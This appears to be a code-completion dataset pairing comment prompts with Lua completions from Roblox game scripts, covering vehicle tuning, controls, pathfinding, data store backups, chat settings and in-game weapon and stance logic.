prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--("IsAHumanoid")
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent) if pl~=nil then
-- NEW V13.1.0 - PartCache tie-in. If you use the PartCache module to create cosmetic bullets, you can now directly tie that in. -- Ensure you're using the latest version of PartCache.
local CosmeticPartProvider = PartCacheModule.new(CosmeticBullet, 100, CosmeticBulletsFolder)
-- Récupérez le joueur local
local player = game.Players.LocalPlayer
-- loop through all the arm parts and make them visible in first person
local function visiblearms(bool) if armsvisible then local castshadow = not bool for i, part in ipairs(armparts) do part.LocalTransparencyModifier = armtransparency part.CanCollide = false part.CastShadow = castshadow end end end
-- Setup animation objects
function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end
-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don't, -- nothing will change, I don't know why, but this is how I make my givers.
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.KeypadEquals , ToggleABS = Enum.KeyCode.KeypadZero , ToggleTransMode = Enum.KeyCode.KeypadEight , ToggleMouseDrive = Enum.KeyCode.F1 , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[Drivetrain Initialize]]
local Drive={} --Power Front Wheels if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.insert(Drive,v) end end end --Power Rear Wheels if _Tune.Config == "RWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then table.insert(Drive,v) end end end --Determine Wheel Size local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end --Pre-Toggled PBrake for i,v in pairs(car.Wheels:GetChildren()) do if v["#AV"]:IsA("BodyAngularVelocity") then if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then _PBrake=true end else if math.abs(v["#AV"].MotorMaxTorque-PBrakeForce)<1 then _PBrake=true end end end
--!strict
local ClientBridge = require(script.ClientBridge) local ClientIdentifiers = require(script.ClientIdentifiers) local ClientProcess = require(script.ClientProcess) local Types = require(script.Parent.Types) local Client = {} function Client.start() ClientProcess.start() ClientIdentifiers.start() end function Client.ser(identifierName: Types.Identifier): Types.Identifier? return ClientIdentifiers.ser(identifierName) end function Client.deser(compressedIdentifier: Types.Identifier): Types.Identifier? return ClientIdentifiers.deser(compressedIdentifier) end function Client.makeIdentifier(name: string, timeout: number?) return ClientIdentifiers.ref(name, timeout) end function Client.makeBridge(name: string) return ClientBridge(name) end return Client
--[[Flip]]
function Flip() --Detect Orientation if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then FlipWait=tick() --Apply Flip else if tick()-FlipWait>=3 then FlipDB=true local gyro = car.DriveSeat.Flip gyro.maxTorque = Vector3.new(10000,0,10000) gyro.P=3000 gyro.D=500 wait(1) gyro.maxTorque = Vector3.new(0,0,0) gyro.P=0 gyro.D=0 FlipDB=false end end end
--[[ NON-STATIC METHODS ]]
-- function Path:Destroy() for _, event in ipairs(self._events) do event:Destroy() end self._events = nil if rawget(self, "_visualWaypoints") then self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) end self._path:Destroy() setmetatable(self, nil) for k, _ in pairs(self) do self[k] = nil end end function Path:Stop() if not self._humanoid then output(error, "Attempt to call Path:Stop() on a non-humanoid.") return end if self._status == Path.StatusType.Idle then output(function(m) warn(debug.traceback(m)) end, "Attempt to run Path:Stop() in idle state") return end disconnectMoveConnection(self) self._status = Path.StatusType.Idle self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._events.Stopped:Fire(self._model) end function Path:Run(target) --Non-humanoid handle case if not target and not self._humanoid and self._target then moveToFinished(self, true) return end --Parameter check if not (target and (typeof(target) == "Vector3" or target:IsA("BasePart"))) then output(error, "Pathfinding target must be a valid Vector3 or BasePart.") end --Refer to Settings.TIME_VARIANCE if os.clock() - self._t <= self._settings.TIME_VARIANCE and self._humanoid then task.wait(os.clock() - self._t) declareError(self, self.ErrorType.LimitReached) return false elseif self._humanoid then self._t = os.clock() end --Compute path local pathComputed, _ = pcall(function() self._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == "Vector3" and target) or target.Position) end) --Make sure path computation is successful if not pathComputed or self._path.Status == Enum.PathStatus.NoPath or #self._path:GetWaypoints() < 2 or (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) task.wait() declareError(self, self.ErrorType.ComputationError) return false end --Set status to active; pathfinding starts self._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle self._target = target --Set network owner to server to prevent "hops" pcall(function() self._agent.PrimaryPart:SetNetworkOwner(nil) end) --Initialize waypoints self._waypoints = self._path:GetWaypoints() self._currentWaypoint = 2 --Refer to Settings.COMPARISON_CHECKS if self._humanoid then comparePosition(self) end --Visualize waypoints destroyVisualWaypoints(self._visualWaypoints) self._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints)) --Create a new move connection if it doesn't exist already self._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...) moveToFinished(self, ...) end)) --Begin pathfinding if self._humanoid then self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position) elseif #self._waypoints == 2 then self._target = nil self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._events.Reached:Fire(self._agent, self._waypoints[2]) else self._currentWaypoint = getNonHumanoidWaypoint(self) moveToFinished(self, true) end return true end return Path
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -1 Tune.RCamber = -1 Tune.FToe = 0 Tune.RToe = 0
---[[ Channel Settings ]]
module.GeneralChannelName = "All" -- You can set to nil to turn off echoing to a general channel.
--[[Steering]]
local function Steering() local SteerLocal = script.Parent.Values.SteerC.Value --Mouse Steer if _MSteer then local msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200) local mdZone = _Tune.Peripherals.MSteerDZone/100 local mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth) if math.abs(mST)<=mdZone then _GSteerT = 0 else _GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST)) end end --Interpolate Steering if SteerLocal < _GSteerT then if SteerLocal<0 then SteerLocal = math.min(_GSteerT,SteerLocal+_Tune.ReturnSpeed) else SteerLocal = math.min(_GSteerT,SteerLocal+_Tune.SteerSpeed) end else if SteerLocal>0 then SteerLocal = math.max(_GSteerT,SteerLocal-_Tune.ReturnSpeed) else SteerLocal = math.max(_GSteerT,SteerLocal-_Tune.SteerSpeed) end end --Steer Decay Multiplier local sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) --Apply Steering for _,v in ipairs(car.Wheels:GetChildren()) do if v.Name=="F" then v.Arm.Steer.CFrame=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerInner*sDecay),0) elseif v.Name=="FL" then if SteerLocal>= 0 then v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerOuter*sDecay),0) else v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerInner*sDecay),0) end elseif v.Name=="FR" then if SteerLocal>= 0 then v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerInner*sDecay),0) else v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerOuter*sDecay),0) end end end end
--// Stances
function Prone() L_87_:FireServer("Prone") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -3, 0) }):Play() L_3_:WaitForChild("Humanoid").WalkSpeed = 4 L_127_ = 4 L_126_ = 0.025 L_47_ = true L_67_ = 0.01 L_66_ = -0.05 L_68_ = 0.05 Proned2 = Vector3.new(0, 0.5, 0.5) L_102_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_249_arg1) return math.sin(math.rad(L_249_arg1)) end, 0.25) L_102_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_250_arg1) return math.sin(math.rad(L_250_arg1)) end, 0.25) L_102_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_251_arg1) return math.sin(math.rad(L_251_arg1)) end, 0.25) end function Stand() L_87_:FireServer("Stand") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, 0, 0) }):Play() L_47_ = false if not L_46_ then L_3_:WaitForChild("Humanoid").WalkSpeed = 16 L_126_ = .2 L_127_ = 17 L_67_ = L_23_.camrecoil L_66_ = L_23_.gunrecoil L_68_ = L_23_.Kickback elseif L_46_ then L_3_:WaitForChild("Humanoid").WalkSpeed = 16 L_127_ = 10 L_126_ = 0.02 L_67_ = L_23_.AimCamRecoil L_66_ = L_23_.AimGunRecoil L_68_ = L_23_.AimKickback end Proned2 = Vector3.new(0, 0, 0) L_102_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_252_arg1) return math.sin(math.rad(L_252_arg1)) end, 0.25) L_102_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_253_arg1) return math.sin(math.rad(L_253_arg1)) end, 0.25) L_102_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_254_arg1) return math.sin(math.rad(L_254_arg1)) end, 0.25) end function Crouch() L_87_:FireServer("Crouch") L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), { CameraOffset = Vector3.new(0, -1, 0) }):Play() L_3_:WaitForChild("Humanoid").WalkSpeed = 9 L_127_ = 9 L_126_ = 0.035 L_47_ = true L_67_ = 0.02 L_66_ = -0.05 L_68_ = 0.05 Proned2 = Vector3.new(0, 0, 0) L_102_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_255_arg1) return math.sin(math.rad(L_255_arg1)) end, 0.25) L_102_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_256_arg1) return math.sin(math.rad(L_256_arg1)) end, 0.25) L_102_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_257_arg1) return math.sin(math.rad(L_257_arg1)) end, 0.25) L_102_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_258_arg1) return math.sin(math.rad(L_258_arg1)) end, 0.25) end local L_137_ = false L_82_.InputBegan:connect(function(L_259_arg1, L_260_arg2) if not L_260_arg2 and L_15_ == true then if L_15_ then if L_259_arg1.KeyCode == Enum.KeyCode.C then if L_70_ == 0 and not L_49_ and L_15_ then L_70_ = 1 Crouch() L_71_ = false L_73_ = true L_72_ = false elseif L_70_ == 1 and not L_49_ and L_15_ then L_70_ = 2 Prone() L_73_ = false L_71_ = true L_72_ = false L_137_ = true end end if L_259_arg1.KeyCode == Enum.KeyCode.X then if L_70_ == 2 and not L_49_ and L_15_ then L_137_ = false L_70_ = 1 Crouch() L_71_ = false L_73_ = true L_72_ = false elseif L_70_ == 1 and not L_49_ and L_15_ then L_70_ = 0 Stand() L_71_ = false L_73_ = false L_72_ = true end end end end end)
-- Stuff (do not edit below)
local configModel = script.Parent.Config local scoreBlock = script.Parent.ScoreBlock local uS = configModel.UploadScore local rS = configModel.RemoteScore local lSU = configModel.LocalScoreUpdate uS.Refresh.Value = SCORE_UPDATE rS.Score.Value = NAME_OF_STAT rS.Original.Value = PLAYER_SAVE rS.DataStore.Value = DATA_STORE lSU.Refresh.Value = PLAYER_UPDATE uS.Disabled = false uS.Parent = game.ServerScriptService rS.Disabled = false rS.Parent = game.Workspace lSU.Disabled = false lSU.Parent = game.StarterGui
-- tween engine sound volume when we start driving
local engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0) local Remotes = Vehicle:WaitForChild("Remotes") local SetThrottleRemote = Remotes:WaitForChild("SetThrottle") local SetThrottleConnection = nil local EngineSoundEnabled = true local TireTrailEnabled = true local ignitionTime = 1.75 -- seconds local lastAvgAngularVelocity = 0 local throttleEnabled = false local lastThrottleUpdate = 0 local enginePower = 0 -- current rpm of the engine local gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)
--------------------- TEMPLATE ASSAULT RIFLE WEAPON --------------------------- -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end
--[[ A simplistic spring implementation. ]]
local e=2.718281828459045 local function posvel(d,s,p0,v0,p1,v1,x) if s==0 then return p0 elseif d<1-1e-8 then local h=(1-d*d)^0.5 local c1=(p0-p1+2*d/s*v1) local c2=d/h*(p0-p1)+v0/(h*s)+(2*d*d-1)/(h*s)*v1 local co=math.cos(h*s*x) local si=math.sin(h*s*x) local ex=e^(d*s*x) return co/ex*c1+si/ex*c2+p1+(x-2*d/s)*v1, s*(co*h-d*si)/ex*c2-s*(co*d+h*si)/ex*c1+v1 elseif d<1+1e-8 then local c1=p0-p1+2/s*v1 local c2=p0-p1+(v0+v1)/s local ex=e^(s*x) return (c1+c2*s*x)/ex+p1+(x-2/s)*v1, v1-s/ex*(c1+(s*x-1)*c2) else local h=(d*d-1)^0.5 local a=(v1-v0)/(2*s*h) local b=d/s*v1-(p1-p0)/2 local c1=(1-d/h)*b+a local c2=(1+d/h)*b-a local co=e^(-(h+d)*s*x) local si=e^((h-d)*s*x) return c1*co+c2*si+p1+(x-2*d/s)*v1, si*(h-d)*s*c2-co*(d+h)*s*c1+v1 end end local function targposvel(p1,v1,x) return p1+x*v1,v1 end local Spring = {} Spring.__index = Spring
--p.Ground(part"because cframe and position", zone size, size of part, number how many part spawn, time delay and remove) --P.Ground(script.parent,độ mở của vòng tròn rock,Size Rock,số rock spawm,Thời gian rock còn trên mặt đất)
--// Tracer Vars
TracerTransparency = 0; TracerLightEmission = 1; TracerTextureLength = 0.1; TracerLifetime = 0.05; TracerFaceCamera = true; TracerColor = BrickColor.new('White');
--[[ Services ]]
-- local PlayersService = game:GetService('Players') local VRService = game:GetService("VRService")
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1500 -- Front brake force Tune.RBrakeForce = 1000 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
-- << CUSTOM >> -- Theme
local ratio = 6.1/#themeColors local themeFrame = pages.custom["AB ThemeSelection"] local themeDe = true local function updateThemeSelection(themeName, themeColor) if themeName == nil then for i,v in pairs(themeColors) do if v[1] == main.pdata.Theme then themeName = v[1] themeColor = v[2] break end end end if themeName then local themeFrames = {} for a,b in pairs(main.gui:GetDescendants()) do if b:IsA("BoolValue") and b.Name == "Theme" then table.insert(themeFrames, b.Parent) end end for _,f in pairs(themeFrames) do local newThemeColor = themeColor if f.Theme.Value then local h,s,v = Color3.toHSV(themeColor) newThemeColor = Color3.fromHSV(h, s, v*1.35) end if f:IsA("TextLabel") then local h,s,v = Color3.toHSV(themeColor) newThemeColor = Color3.fromHSV(h, s, v*2) f.TextColor3 = newThemeColor else f.BackgroundColor3 = newThemeColor end end for a,b in pairs(themeFrame:GetChildren()) do if b:IsA("TextButton") then if b.Name == themeName then b.BorderSizePixel = 1 else b.BorderSizePixel = 0 end end end end end for i, theme in pairs(themeColors) do local themeName = theme[1] local themeColor = theme[2] local box = themeFrame.ThemeTemplate:Clone() box.Name = themeName box.UIAspectRatioConstraint.AspectRatio = ratio box.BackgroundColor3 = themeColor box.MouseButton1Down:Connect(function() if themeDe then themeDe = false main.signals.ChangeSetting:InvokeServer{"Theme", themeName} updateThemeSelection(themeName, themeColor) themeDe = true end end) box.Visible = true box.Parent = themeFrame end
-- a better alternative implementation for the wait function
function wait_time(duration) local start = tick() local Heartbeat = game:GetService("RunService").Heartbeat repeat Heartbeat:Wait() until (tick() - start) >= duration return (tick() - start) end
--Library
local DataStoreCache = {} local DataStore2 = {} local combinedDataStoreInfo = {}
-------------------------------------------------------------------------------------- --------------------[ GUN SETUP ]----------------------------------------------------- --------------------------------------------------------------------------------------
serverMain:WaitForChild("Plyr").Value = Player local gunMomentum = Spring.new(V3()) gunMomentum.s = S.momentumSettings.Speed gunMomentum.d = S.momentumSettings.Damper local gunRecoilSpring = Spring.new(V3()) gunRecoilSpring.s = S.recoilSettings.springSpeed gunRecoilSpring.d = S.recoilSettings.springDamper local camRecoilSpring = Spring.new(V3()) camRecoilSpring.s = 35 camRecoilSpring.d = 0.5 local crossSpring = Spring.new(V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0)) crossSpring.s = 20 crossSpring.d = 0.75
-- Make the chat work when the top bar is off
module.ChatOnWithTopBarOff = false module.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat. module.ShowFriendJoinNotification = true -- Show a notification in the chat when a players friend joins the game.
--[[ berezaa's method of saving data (from the dev forum): What I do and this might seem a little over-the-top but it's fine as long as you're not using datastores excessively elsewhere is have a datastore and an ordereddatastore for each player. When you perform a save, add a key (can be anything) with the value of os.time() to the ordereddatastore and save a key with the os.time() and the value of the player's data to the regular datastore. Then, when loading data, get the highest number from the ordered data store (most recent save) and load the data with that as a key. Ever since I implemented this, pretty much no one has ever lost data. There's no caches to worry about either because you're never overriding any keys. Plus, it has the added benefit of allowing you to restore lost data, since every save doubles as a backup which can be easily found with the ordereddatastore edit: while there's no official comment on this, many developers including myself have noticed really bad cache times and issues with using the same datastore keys to save data across multiple places in the same game. With this method, data is almost always instantly accessible immediately after a player teleports, making it useful for multi-place games. --]]
local DataStoreService = game:GetService("DataStoreService") local OrderedBackups = {} OrderedBackups.__index = OrderedBackups function OrderedBackups:Get() local success, value = pcall(function() return self.orderedDataStore:GetSortedAsync(false, 1):GetCurrentPage()[1] end) if not success then return false, value end if value then local mostRecentKeyPage = value local recentKey = mostRecentKeyPage.value self.dataStore2:Debug("most recent key", mostRecentKeyPage) self.mostRecentKey = recentKey local success, value = pcall(function() return self.dataStore:GetAsync(recentKey) end) if not success then return false, value end return true, value else self.dataStore2:Debug("no recent key") return true, nil end end function OrderedBackups:Set(value) local key = (self.mostRecentKey or 0) + 1 local success, problem = pcall(function() self.dataStore:SetAsync(key, value) end) if not success then return false, problem end local success, problem = pcall(function() self.orderedDataStore:SetAsync(key, key) end) if not success then return false, problem end self.mostRecentKey = key return true end function OrderedBackups.new(dataStore2) local dataStoreKey = dataStore2.Name .. "/" .. dataStore2.UserId local info = { dataStore2 = dataStore2, dataStore = DataStoreService:GetDataStore(dataStoreKey), orderedDataStore = DataStoreService:GetOrderedDataStore(dataStoreKey), } return setmetatable(info, OrderedBackups) end return OrderedBackups
---------------------------------------------------
This = script.Parent Elevator = This.Parent.Parent.Parent CustomLabel = require(This.Parent.Parent.Parent.CustomLabel) Characters = require(script.Characters) CustomText = CustomLabel["CUSTOMFLOORLABEL"] Elevator:WaitForChild("Floor").Changed:connect(function(floor) --custom indicator code-- ChangeFloor(tostring(floor)) end) function ChangeFloor(SF) if CustomText[tonumber(SF)] then SF = CustomText[tonumber(SF)] end SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL")) SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF)) end function SetDisplay(ID,CHAR) if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do for r=1,7 do This.Display["DIG"..ID]["D"..r].Color = (l:sub(r,r) == "1" and DisplayColor or DisabledColor) This.Display["DIG"..ID]["D"..r].Material = (l:sub(r,r) == "1" and Lit or Unlit) end end end end
--------------------[ KEYBOARD FUNCTIONS ]--------------------------------------------
function keyDown(K) local Key = string.lower(K) if Key == S.Keys.lowerStance and S.canChangeStance then if (not Running) then if Stance == 0 then if S.stanceSettings.Stances.Crouch then Crouch() elseif S.stanceSettings.Stances.Prone then Prone() end elseif Stance == 1 then if S.stanceSettings.Stances.Prone then Prone() end end elseif S.dolphinDive then wait() if Humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and (not UIS:IsKeyDown("Space")) and runReady then local tempConnection = Humanoid.Changed:connect(function() Humanoid.Jump = false end) runReady = false Dive() Running = false wait(S.diveSettings.rechargeTime) tempConnection:disconnect() runReady = true end end end if Key == S.Keys.raiseStance and S.canChangeStance then if (not Running) then if Stance == 2 then if S.stanceSettings.Stances.Crouch then Crouch() else Stand() end elseif Stance == 1 then Stand() end end end if Key == S.Keys.ADS then if S.aimSettings.holdToADS then if (not AimingIn) and (not Aimed) then AimingIn = true aimGun() AimingIn = false end else if Aimed then unAimGun() else aimGun() end end end if Key == S.Keys.selectFire and S.selectFire then if canSelectFire then canSelectFire = false rawFireMode = rawFireMode + 1 modeGUI.Text = Modes[((rawFireMode - 1) % numModes) + 1] if modeGUI.Text == "AUTO" then fireFunction = autoFire elseif modeGUI.Text == "BURST" then fireFunction = burstFire elseif modeGUI.Text == "SEMI" then fireFunction = semiFire else fireFunction = nil end local speedAlpha = S.selectFireSettings.animSpeed / 0.6 if S.selectFireSettings.GUI then spawn(function() fireSelect.Visible = true local prevRawFireMode = rawFireMode local Increment = 1.5 / (speedAlpha * 0.25) local X = 0 wait(speedAlpha * 0.1) while true do RS.RenderStepped:wait() local newX = X + Increment X = (newX > 90 and 90 or newX) if prevRawFireMode ~= rawFireMode then break end updateModeLabels(rawFireMode - 1, rawFireMode, X) if X == 90 then break end end wait(speedAlpha * 0.25) fireSelect.Visible = false end) end if S.selectFireSettings.Animation and (not Aimed) and (not isRunning) and (not isCrawling) then spawn(function() local sequenceTable = { function() tweenJoint(RWeld2, nil, CFANG(0, RAD(5), 0), Sine, speedAlpha * 0.15) tweenJoint(LWeld, armC0[1], CF(0.1, 1, -0.3) * CFANG(RAD(-7), 0, RAD(-65)), Linear, speedAlpha * 0.15) wait(speedAlpha * 0.2) end; function() tweenJoint(LWeld, armC0[1], CF(0.1, 1, -0.3) * CFANG(RAD(-10), 0, RAD(-65)), Linear, speedAlpha * 0.1) wait(speedAlpha * 0.2) end; function() tweenJoint(RWeld2, nil, CF(), Sine, speedAlpha * 0.2) tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, speedAlpha * 0.2) wait(speedAlpha * 0.2) end; } for _, F in pairs(sequenceTable) do if Aimed or isRunning or isCrawling or Reloading then break end F() end end) end if S.selectFireSettings.Animation or S.selectFireSettings.GUI then wait(S.selectFireSettings.animSpeed) end canSelectFire = true end end if Key == S.Keys.Reload then if (not Reloading) and (not isCrawling) then Reload() end end if Key == S.Keys.Sprint then runKeyPressed = true if runReady then if (not Idling) and Walking and (not Running) and (not Knifing) and (not (Aimed and S.guiScope and S.Keys.Sprint == S.Keys.scopeSteady)) then monitorStamina() end end end if Key == S.Keys.scopeSteady then steadyKeyPressed = true if Aimed and (not Aiming) then takingBreath = false steadyCamera() end end for _, PTable in pairs(Plugins.KeyDown) do if Key == string.lower(PTable.Key) then spawn(function() PTable.Plugin() end) end end end function keyUp(K) local Key = string.lower(K) if Key == S.Keys.ADS then if S.aimSettings.holdToADS then if (not AimingOut) and Aimed then AimingOut = true unAimGun() AimingOut = false end end end if Key == S.Keys.Sprint then runKeyPressed = false Running = false if (not chargingStamina) then rechargeStamina() end end if Key == S.Keys.scopeSteady then steadyKeyPressed = false end for _, PTable in pairs(Plugins.KeyUp) do if Key == string.lower(PTable.Key) then spawn(function() PTable.Plugin() end) end end end
--[[** ensures value is a number where value < 0 @returns A function that will return true iff the condition is passed **--]]
t.numberNegative = t.numberMaxExclusive(0)
-- Removes any old creator tags and applies a new one to the target
local function ApplyTags(target) while target:FindFirstChild('creator') do target.creator:Destroy() end local creatorTagClone = CreatorTag:Clone() DebrisService:AddItem(creatorTagClone, 1.5) creatorTagClone.Parent = target end
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
